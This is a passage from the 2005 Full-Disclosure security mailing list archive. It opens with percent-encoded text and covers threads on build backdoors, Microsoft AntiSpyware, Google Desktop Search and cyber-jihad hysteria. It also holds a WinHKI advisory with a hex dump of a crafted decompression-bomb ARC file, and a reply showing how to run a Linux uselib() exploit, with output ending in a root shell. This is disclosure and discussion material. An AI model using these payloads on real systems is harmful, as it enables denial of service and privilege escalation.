%25D0%25BE%25D0%25B7%25D0%25B2%25D0%25BE%25D0%25BB%25D0%25B8%25D1%2582%
2B%25D0%25B1%25D0%25B5%25D0%25B7%2B%25D0%25BF%25D1%2580%25D0%25BE%25D0%
25B1%25D0%25BB%25D0%25B5%25D0%25BC%2B%25D0%25B7%25D0%25B0%25D0%25B2%
25D0%25B5%25D1%2581%25D1%2582%25D0%25B8%2B%25D0%25BD%25D0%25BE%25D0%
25B2%25D1%258B%25D1%2585%2B%25D0%25B4%25D1%2580%25D1%2583%25D0%25B7%
25D0%25B5%25D0%25B9%2B%25D0%25B8%2B%25D0%25B4%25D0%25B0%25D0%25B6%25D0%
25B5%2B%25D0%25BF%25D0%25BE%25D0%25BE%25D0%25B1%25D1%2589%25D0%25B0%
25D1%2582%25D1%258C%25D1%2581%25D1%258F%2B%25D1%2581%2B%25D0%25BD%25D0%
25B8%25D0%25BC%25D0%25B8%2B%25D0%25B3%25D0%25BE%25D0%25BB%25D0%25BE%
25D1%2581%25D0%25BE%25D0%25BC%2B%25D1%2587%25D0%25B5%25D1%2580%25D0%
25B5%25D0%25B7%2B%25D0%2598%25D0%25BD%25D1%2582%25D0%25B5%25D1%2580%
25D0%25BD%25D0%25B5%25D1%2582%252C%2B%25D0%25B3%25D0%25B4%25D0%25B5%2B%
25D0%25B1%25D1%258B%2B%25D0%25BE%25D0%25BD%25D0%25B8%2B%25D0%25BD%25D0%
25B8%2B%25D0%25BD%25D0%25B0%25D1%2585%25D0%25BE%25D0%25B4%25D0%25B8%
25D0%25BB%25D0%25B8%25D1%2581%25D1%258C.%250A%250A%25D0%259D%25D0%25B0%
25D0%25B4%25D0%25B5%25D0%25B5%25D0%25BC%25D1%2581%25D1%258F%252C%2B%
25D1%2587%25D1%2582%25D0%25BE%2B%25D0%25B2%2B%25D0%25B1%25D1%2583%25D0%
25B4%25D1%2583%25D1%2589%25D0%25B5%25D0%25BC%2B%25D0%25B3%25D0%25BE%
25D0%25B4%25D1%2583%2B%25D0%25B2%25D1%258B%2B%25D0%25BE%25D1%2581%25D1%
2582%25D0%25B0%25D0%25BD%25D0%25B5%25D1%2582%25D0%25B5%25D1%2581%25D1%
258C%2B%25D1%2581%2B%25D0%25BD%25D0%25B0%25D0%25BC%25D0%25B8.%2B%25D0%
2590%2B%25D1%2587%25D1%2582%25D0%25BE%25D0%25B1%25D1%258B%2B%25D0%25B2%
25D0%25B0%25D1%2588%25D0%25B8%2B%25D0%25B6%25D0%25B5%25D0%25BB%25D0%
25B0%25D0%25BD%25D0%25B8%25D1%258F%2B%25D0%25BE%25D0%25B1%25D1%258F%
25D0%25B7%25D0%25B0%25D1%2582%25D0%25B5%25D0%25BB%25D1%258C%25D0%25BD%
25D0%25BE%2B%25D1%2581%25D0%25B1%25D1%258B%25D0%25BB%25D0%25B8%25D1%
2581%25D1%258C%252C%2B%25D0%25BE%25D1%2582%25D0%25BF%25D1%2580%25D0%
25B0%25D0%25B2%25D1%258C%25D1%2582%25D0%25B5%2B%25D0%25B8%25D1%2585%2B%
25D0%2594%25D0%25B5%25D0%25B4%25D1%2583%2B%25D0%259C%25D0%25BE%25D1%
2580%25D0%25BE%25D0%25B7%25D1%2583%2521%2B%25D0%259F%25D1%2580%25D1%258F
%25D0%25BC%25D0%25BE%25D0%25B5%2B%25D0%25BF%25D0%25BE%25D1%2587%25D1%
2582%25D0%25BE%25D0%25B2%25D0%25BE%25D0%25B5%2B%25D1%2581%25D0%25BE%
25D0%25BE%25D0%25B1%25D1%2589%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5%2B
%25D1%2581%2B%25D0%25BD%25D0%25B8%25D0%25BC%2B%25D1%2583%25D1%2581%25D1%
2582%25D0%25B0%25D0%25BD%25D0%25BE%25D0%25B2%25D0%25BB%25D0%25B5%25D0%
25BD%25D0%25BE%2B%25D0%25BD%25D0%25B0%2B%25D0%25BD%25D0%25B0%25D1%2588%
25D0%25B5%25D0%25BC%2B%25D0%25BD%25D0%25BE%25D0%25B2%25D0%25BE%25D0%
25B3%25D0%25BE%25D0%25B4%25D0%25BD%25D0%25B5%25D0%25BC%2B%25D0%25BF%
25D1%2580%25D0%25BE%25D0%25B5%25D0%25BA%25D1%2582%25D0%25B5.%250A%250A%
25D0%25A1%25D1%2587%25D0%25B0%25D1%2581%25D1%2582%25D0%25BB%25D0%25B8%
25D0%25B2%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%25B2%25D0%25B0%25D0%25BC
%2B%25D0%259D%25D0%25BE%25D0%25B2%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%
25B3%25D0%25BE%25D0%25B4%25D0%25B0%2521%2B%250A%250A%25D0%25A1%2B%25D0%
25BD%25D0%25B0%25D0%25B8%25D0%25BB%25D1%2583%25D1%2587%25D1%2588%25D0%
25B8%25D0%25BC%25D0%25B8%2B%25D0%25BF%25D0%25BE%25D0%25B6%25D0%25B5%
25D0%25BB%25D0%25B0%25D0%25BD%25D0%25B8%25D1%258F%25D0%25BC%25D0%25B8%
252C%250A%0A

Any feedback on your results would be great :-)  Thanks guys...
-- 
Kristian Hermansen <khermansen at ht-technology.com>



From kkadow at gmail.com  Sat Jan  8 01:54:44 2005
From: kkadow at gmail.com (Kevin)
Date: Fri, 7 Jan 2005 19:54:44 -0600
Subject: Backdoors and source code (was Re: [Full-Disclosure] Multiple
	Backdoors found...)
Message-ID: <dc718edc0501071754154b694f@mail.gmail.com>

On Sun, 02 Jan 2005 20:27:09 -0800, Blue Boar <BlueBoar at thievco.com> wrote:
> Dave Aitel wrote:
> > Of course, this sort of thing is basically impossible to disprove -
> > especially without source.
> 
> If I were looking for a well-hidden backdoor, I wouldn't bother with
> source.  There's no guarantee that a particular binary was produced by a
> particular group of source unless you can compile it yourself to the
> same set of bytes.

And even when you have two binary files built by the same compiler
version on two different machines running the same OS version, it's
not uncommon for the two files to not produce the same set of bytes. 
See the recent thread on 'httpd cleanup' from the OpenBSD 'tech' list.


> Even then, you've got no guarantee the backdoor
> isn't introduced as part of the build process or a compiler quirk,
> rather than being in the source.

On the subject of "visible source" as a protection against backdoors,
I notice that PGP.Com offers source code to their products for
download for exactly this purpose, but does *not* provide any
instructions on how to validate that the binaries produced from the
"visible source" PGP desktop for Windows match up with the binary
executables and libraries distributed when you install a licensed PGP
desktop build.


From visitbipin at yahoo.com  Sat Jan  8 09:29:30 2005
From: visitbipin at yahoo.com (bipin gautam)
Date: Sat, 8 Jan 2005 01:29:30 -0800 (PST)
Subject: [Full-Disclosure] WinHKI - ARC File Extraction of 1KB to 1.56GB
In-Reply-To: <001001c4f445$d4fe1a80$f85ab350@noone>
Message-ID: <20050108092930.73686.qmail@web20222.mail.yahoo.com>

that's obvious isn't it... say... if you create a few
GB file with null characters, 0X00 and compress
it...... that will produce a similar result. such
issue is known for any file compress utility for ages.


any... software will do the same! try it. and THAT'S
OBVIOUS!
--- "Rafel Ivgi, The-Insider" <theinsider at 012.net.il>
wrote:

>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> Application:    WinHKI
> Vendors:        http://www.webtoolmaster.com
> Versions:       1.4d
> Platforms:      Windows
> Bug:            ARC File Extraction of 1KB to 1.56GB
> Exploitation:   Local (extract file)
> Date:           24 Dec 2004
> Author:         Rafel Ivgi, The-Insider
> E-Mail:         the_insider at mail.com
> Website:        http://theinsider.deep-ice.com
> 
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 1) Introduction
> 2) Bugs
> 3) The Code
> 
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ===============
> 1) Introduction
> ===============
> 
> WinHKI is a file archiever which supports: ARC, BH,
> CAB, HKI, JAR, LHA,TAR,
> 
> GZ compressions.
> 
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ======
> 2) Bug
> ======
> 
> This is a normal CAB compressed file header
> 
> 00000000 1A02 3235 312E 4854 4D00 5E5E 5E5E 5E1B
> ..251.HTM.^^^^^.
> 00000010 0000 0078 3139 73B5 121B 0000 003C 7363
> ...x19s......<sc
> 00000020 7269 7074 FB3E 616C 6572 7428 293C 2F73
> ript.>alert()</s
> 00000030 6372 6970 743E 0D0A 1A00               
> cript>....
> 
> By adding after the filename header a certain amount
> of chars
> and replacing all nulls (00) with FF (in order to
> avoid our
> long string from being terminated)
> 
> 00000000 1A02 3235 312E 4854 4DFF 5E5E 5E5E 5EFF
> ..251.HTM.^^^^^.
> 00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000050 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000060 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000070 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000080 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000090 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000000A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000000B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000000C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000000D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000000E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000000F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000100 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000110 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000120 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000130 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000140 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000150 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000160 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000170 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000180 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000190 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000001A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000001B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000001C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000001D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000001E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000001F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000200 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000210 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000220 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000230 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000240 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000250 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000260 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000270 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000280 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000290 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000002A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000002B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000002C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000002D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000002E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000002F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000300 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000310 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000320 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000330 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000340 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000350 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000360 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000370 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000380 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000390 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000003A0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000003B0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000003C0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000003D0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000003E0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 000003F0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
> ................
> 00000400 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FF1B
> ................
> 00000410 FFFF FF78 3139 73B5 121B FFFF FF3C 7363
> ...x19s......<sc
> 00000420 7269 7074 FB3E 616C 6572 7428 293C 2F73
> ript.>alert()</s
> 00000430 6372 6970 743E 0D0A 1A00               
> cript>....
> 
> 
> HKI will create a 1.56 GIGA BYTE file on at the
> selected extract location.
> 
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ===========
> 3) The Code
> ===========
> 
> An online proof of concept can be found at:
> http://theinsider.deep-ice.com/hki156gb.ARC
> 
>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ---
> Rafel Ivgi, The-Insider
> http://theinsider.deep-ice.com
> 
> "Scripts and Codes will make me D.O.S , but they
> will never HACK me."
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
> http://lists.netsys.com/full-disclosure-charter.html
> 



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Easier than ever with enhanced search. Learn more.
http://info.mail.yahoo.com/mail_250


From bits_n_bytes at gmx.de  Sat Jan  8 10:38:34 2005
From: bits_n_bytes at gmx.de (Frank Dietrich)
Date: Sat, 8 Jan 2005 11:38:34 +0100
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>
References: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>
Message-ID: <20050108113834.553b397c@travel.earth>

Hi there,

Paul Starzetz <ihaquer at isec.pl> wrote:
> Synopsis:  Linux kernel uselib() privilege elevation
> Product:   Linux kernel
> Version:   2.4 up to and including 2.4.29-rc2, 2.6 up to and

Is the system allways compromisable whitout tmpfs support in the
kernel?

I tried your exploit sample to test my systems. As normal user I get
can't write to /dev/shm. /dev/shm here only writeable for root.

regards
Frank


From noacces at lycos.nl  Sat Jan  8 11:12:35 2005
From: noacces at lycos.nl (noAcces)
Date: Sat, 08 Jan 2005 11:12:35 GMT 
Subject: [Full-Disclosure] Novell WebAcces
Message-ID: <1105182755014049@lycos-europe.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/c9183e1b/attachment.html 

From appelast at drumnbass.art.pl  Sat Jan  8 11:21:15 2005
From: appelast at drumnbass.art.pl (Karol Wiesek)
Date: Sat, 8 Jan 2005 12:21:15 +0100
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <20050108113834.553b397c@travel.earth>
References: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>
	<20050108113834.553b397c@travel.earth>
Message-ID: <20050108112114.GA74421@bsquad.sm.pl>

On Sat, Jan 08, 2005 at 11:38:34AM +0100, Frank Dietrich wrote:
=> Hi there,
=> 
=> Paul Starzetz <ihaquer at isec.pl> wrote:
=> > Synopsis:  Linux kernel uselib() privilege elevation
=> > Product:   Linux kernel
=> > Version:   2.4 up to and including 2.4.29-rc2, 2.6 up to and
=> 
=> Is the system allways compromisable whitout tmpfs support in the
=> kernel?
=> 
=> I tried your exploit sample to test my systems. As normal user I get
=> can't write to /dev/shm. /dev/shm here only writeable for root.
=> 

Use -l switch to specify location of lib.

[appelast at nesquik appelast]$ ./ex -l ./lib

[+] SLAB cleanup
    child 1 VMAs 65527
    child 2 VMAs 65527
    child 3 VMAs 33067
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc7c00000 - 0xcf75c000
    Wait... -
[+] race won maps=10888
    expanded VMA (0xbfffc000-0xffffe000)
[!] try to exploit 0xc8a66000
[+] gate modified ( 0xffec90fc 0x0804ec00 )
[+] exploited, uid=0

sh-2.05b# 



From randallm at fidmail.com  Sat Jan  8 16:12:23 2005
From: randallm at fidmail.com (RandallM)
Date: Sat, 8 Jan 2005 10:12:23 -0600
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
Message-ID: <200501081612.j08GCLrs013728@lists.netsys.com>



On Thu, 6 Jan 2005, James Patterson Wicks wrote:
> While this was just a quick test to satisfy my curiosity about the
> Microsoft tool, my initial feeling is that the Microsoft AntiSpyware is
> worth a test deployment in the office.  This beta expires in July.
> Hopefully the final version will be free and allow for centralized
> domain management.  It's the least that Microsoft can do.
 
I don't think it's going to be free. While doing a small amount of research
on the "spyware community" I found this text string in the
GianttAntiSpywareUpdater.exe:
 
"Because your Microsoft AntiSpyware subscription has expired, needed spyware
definitions could NOT be downloaded and installed. Your definitions should
be updated as soon as possible to prevent spyware infections. Your Microsoft
AntiSpyware Subscription has Expired"
 
And within the gcASNotice.exe
 
"We hope your trial went well. Unfortunately you are now no longer protected
from the growing dangers of spyware, worms and trojans. Continue to keep
your self protected, purchase the full version today with a full money back
guarantee."
 
I also have been a bit curious concerning the "user community" and the way
this type of software updates, whether or not they can be exploited this
way.
 
Now I would like to RANT a bit here. After picking myself up off the floor
from reading this I chose to post this. The primary reason most spyware and
trojans get unauthorized access to "my" computer is because of my blind
trust in the products I use. One such product was a browser embedded in the
operating system I own. To rid myself of such unauthorized accesses I had to
educate myself and find software to do it. Most of them are freely developed
(God Bless Them Each and Everyone). Alone comes a program to do this own by
the operating system and products I use. I was happy and thought, "who would
be better equipped to do such then the owners themselves. After all they
wrote and know all the programming of it. The can surely protect it.
According to the above txt scans of this product I have to pay them to
defend what they allowed. Its a strange strange world after all.
 
I don't want to sound condescending but, if this is the case, this Company
software needs some humility lessons brought to them through heavy
exploitations of such software. On the other hand if such Company would
provide this as a service to me then they need a community helping hand.
 
thank you
Randall M
 



From randallm at fidmail.com  Sat Jan  8 17:03:14 2005
From: randallm at fidmail.com (RandallM)
Date: Sat, 8 Jan 2005 11:03:14 -0600
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impression
Message-ID: <200501081703.j08H32rs017335@lists.netsys.com>

KF (lists) wrote:
 
>>>>>>>>>>>>>>>>>>>>
Message: 11
Date: Fri, 07 Jan 2005 11:19:56 -0500
From: "KF (lists)" <kf_lists at digitalmunition.com>
Subject: Re: [Full-Disclosure] Microsoft AntiSpyware - First
	Impressions
To: full-disclosure at lists.netsys.com
Message-ID: <41DEB6AC.5090405 at digitalmunition.com>
Content-Type: text/plain; charset=windows-1252; format=flowed

Do a software update check with this thing and you get 
GIANTAntiSpywareMain.exe  listening on port 2571 until the software is 
closed. Feel free to beat on and fuzz that port fellas. =]
-KF
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


I found this with tcpview:
 
 
GIANTAntiSpywareMain.exe:3424 TCP p4fast.xxxx.com:3256 216.32.240.26:http
ESTABLISHED 
GIANTAntiSpywareMain.exe:3424 UDP p4fast:3255 *:*  

OrgName:    Savvis 
OrgID:      SAVVI-2
Address:    3300 Regency Parkway
City:       Cary
StateProv:  NC
PostalCode: 27511
Country:    US

ReferralServer: rwhois://rwhois.exodus.net:4321/

NetRange:   216.32.0.0 - 216.35.255.255 
CIDR:       216.32.0.0/14 
NetName:    SAVVIS
NetHandle:  NET-216-32-0-0-1
Parent:     NET-216-0-0-0-0
NetType:    Direct Allocation
NameServer: DNS01.SAVVIS.NET
NameServer: DNS02.SAVVIS.NET
NameServer: DNS03.SAVVIS.NET
NameServer: DNS04.SAVVIS.NET
Comment:    
RegDate:    1998-07-30
Updated:    2004-10-07


GET / HTTP/1.1 Host: 216.32.240.26 Connection: close User-Agent: Sam Spade
1.14  HTTP/1.1 403 Forbidden Content-Length: 218 Content-Type: text/html
Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET MicrosoftOfficeWebServer:
5.0_Pub Date: Sat, 08 Jan 2005 16:40:07 GMT Connection: close

If you look at for instance system process, BHO area and select an unknown,
an option to "send to spynet for anayliss" is there. If you select this, it
reports to the 216.31.240.26 also.

On a funny note, under ActiveX area it list the microsoft update as this:

"Microsoft Windows Update Control Engine
This is an unknown ActiveX

File path: C:\WINDOWS\System32\iuengine.dll
Description: Windows Update Control Engine
Publisher: Microsoft Corporation
Last modified: Tue, 26 Aug 2003 01:19:52 GMT
Installed version: 5,4,3790,14
Download location:
http://v4.windowsupdate.microsoft.com/CAB/x86/unicode/iuctl.CAB?37921.827546
2963"

It does look as if they jumped very quickly to launch this software!


 
thank you
Randall M
 



From scrotora at hushmail.com  Sat Jan  8 17:30:02 2005
From: scrotora at hushmail.com (Scrotora)
Date: Sat, 08 Jan 2005 18:30:02 +0100
Subject: [Full-Disclosure] Fax Message Received
Message-ID: <huhpjydbywecibxgbis@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/bcfcc8fa/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: text_document.scr
Type: application/octet-stream
Size: 21091 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/bcfcc8fa/attachment.obj 

From ostiguy at gmail.com  Sat Jan  8 18:57:58 2005
From: ostiguy at gmail.com (Matt Ostiguy)
Date: Sat, 8 Jan 2005 13:57:58 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
In-Reply-To: <200501081612.j08GCLrs013728@lists.netsys.com>
References: <200501081612.j08GCLrs013728@lists.netsys.com>
Message-ID: <3dc922c3050108105762eef57f@mail.gmail.com>

On Sat, 8 Jan 2005 10:12:23 -0600, RandallM <randallm at fidmail.com> wrote:
> 
> 
> I don't think it's going to be free. While doing a small amount of research
> on the "spyware community" I found this text string in the
> GianttAntiSpywareUpdater.exe:
> 

Doesn't the fact that the executable's name contains a company that no
longer exists (Giant) indicate that perhaps this BETA software will
undergo some changes before its full release as a Microsoft product?


From scrotora at hushmail.com  Sat Jan  8 20:28:42 2005
From: scrotora at hushmail.com (Scrotora)
Date: Sat, 08 Jan 2005 21:28:42 +0100
Subject: [Full-Disclosure] Re: Document
Message-ID: <qhgxatteyqxecroeqtg@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/c0985d27/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Toy.com
Type: application/octet-stream
Size: 20294 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050108/c0985d27/attachment.obj 

From abe.usher at sharp-ideas.net  Sat Jan  8 22:51:04 2005
From: abe.usher at sharp-ideas.net (Abe Usher)
Date: Sat, 08 Jan 2005 17:51:04 -0500
Subject: [Full-Disclosure] Using Google Desktop Search for remote system
	monitoring
Message-ID: <41E063D8.8050906@sharp-ideas.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Once installed on a host, Google Desktop Search provides some great
capabilities:

"Find your email, files, web history and chats instantly, view web pages
you've seen, even when you're not online..." [1].

As a learning exercise, I decided to see if I could make desktop search
results available remotely across a TCP/IP network.  In fact you can,
but such use is not part of Google's original intent or end user license
agreement [2].

If you are interested in trying "desktop" search remotely, check out my
write up at:
http://www.sharp-ideas.net/

Cheers,
Abe Usher, CISSP

[1] http://desktop.google.com/
[2] http://desktop.google.com/eula

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB4GPXT3X9miqOcSQRAg9IAJ48lD70veg6Fg6uP+1Cb5J4SKSHjgCeNJWA
u29WxReyja/q7f5OwWSlSWw=
=tweG
-----END PGP SIGNATURE-----


From jan.muenther at nruns.com  Sun Jan  9 05:09:01 2005
From: jan.muenther at nruns.com (jan.muenther at nruns.com)
Date: Sun, 9 Jan 2005 10:39:01 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501090508.j0958ers029304@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/33e04fe1/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050109/33e04fe1/attachment.wav 

From stevex11 at sbcglobal.net  Sun Jan  9 09:51:07 2005
From: stevex11 at sbcglobal.net (Steve Kudlak)
Date: Sun, 09 Jan 2005 01:51:07 -0800
Subject: [Full-Disclosure] Electronic Jihad on August 26, 04 ??
In-Reply-To: <NDBBJBDJCGCKGDILPNNEIEEELIAB.junkmail@barnowl.com>
References: <NDBBJBDJCGCKGDILPNNEIEEELIAB.junkmail@barnowl.com>
Message-ID: <41E0FE8B.4070106@sbcglobal.net>

Rob Rosenberger wrote:

>Vmyths.com Virus Hysteria Alert
>Truth About Computer Security Hysteria
>{25 August 2004, 01:20 CT}
>
>CATEGORY: Dire predictions of a cyber-war or cyber-terrorism
>
>Russian news site MosNews.com has reported "terrorists will paralyze the
>Internet on August 26" (this Thursday).  The story cites virus experts
>Alexander Gostev and Eugene Kaspersky, both who work for Kaspersky Labs, a
>large Russian antivirus firm.  MosNews ran the story under the headline
>"Russian Computer Expert Predicts Internet Terrorist Attack."
>
>   MosNews.com story (English):
>   http://www.mosnews.com/news/2004/08/24/internetend.shtml
>
>The web page address includes the phrase "internetend" -- an obvious
>reference to the end of the Internet as we know it.
>
>Vmyths dismisses this "Internet Terrorist Attack" story as baseless
>hysteria, for numerous reasons explained below.
>
>It appears MosNews derived their story from a newswire published by
>Lenta.ru, which may have derived their own story from a Novosti newswire.
>In other words, it's "hand-me-down" news, and this is a systemic problem in
>computer security.  Reporters will often quote each others' stories as their
>main sources of information.  Worse, these stories originated in Russia,
>where many news agencies have dissolved into sensationalist tabloids since
>the breakup of the Soviet Union.
>
>Speaking directly to Novosti's reporters, Gostev supposedly claimed "the
>United States and Western Europe will suffer from the attack" on Thursday,
>while Kaspersky supposedly "reminded that similar attacks had earlier
>paralyzed [the] Internet in South Korea.  He added that it would be
>'impossible' to stop terrorist organizations if they 'get down to
>business.'"
>
>As expected, the Novosti newswire described the cyber-terrorists as
>"Islamic" fundamentalists who declared Thursday a day of "electronic jihad."
>
>Gostev and Kaspersky claimed they learned about the cyber-terror attack from
>data "published on specialized sites," and Gostev admitted "it is difficult
>to say how true this information is."  Statements like this raise a RED FLAG
>at Vmyths.  We believe the men studied messages left by narcissistic
>braggarts, not Islamic cyber-warriors.  Vmyths has seen NO objective
>corroborating evidence for an Internet armageddon in the near future.
>
>Narcissistic braggarts have a notorious habit of (1) declaring an attack
>date and then (2) failing to show up for duty at the appointed time.  One of
>the most hilarious examples of this took place in 1997; see
>http://Vmyths.com/hoax.cfm?id=28&page=3 for details.
>
>According to Novosti, Kaspersky concluded by saying "it is ghastly enough
>that these people have mentioned 'electronic jihad' for the first time."
>Kaspersky is clearly mistaken if the newswire quoted him in context.
>Hackers and the media have used this exact term for years; a Google search
>returns 500+ matches.  Israel's Jerusalem Post newspaper used a similar
>term, "virtual jihad," four years ago.  mi2g (a well-documented fearmonger)
>has issued predictions over the years for electronic jihads which have NEVER
>come to pass.
>
>   Remember this when virus hysteria strikes:
>   http://Vmyths.com/resource.cfm?id=31&page=1
>
>MosNews quoted Lenta.ru, which quoted another virus expert, who insisted
>"Kaspersky Labs has been foretelling the doomsday for a long time."  Vmyths
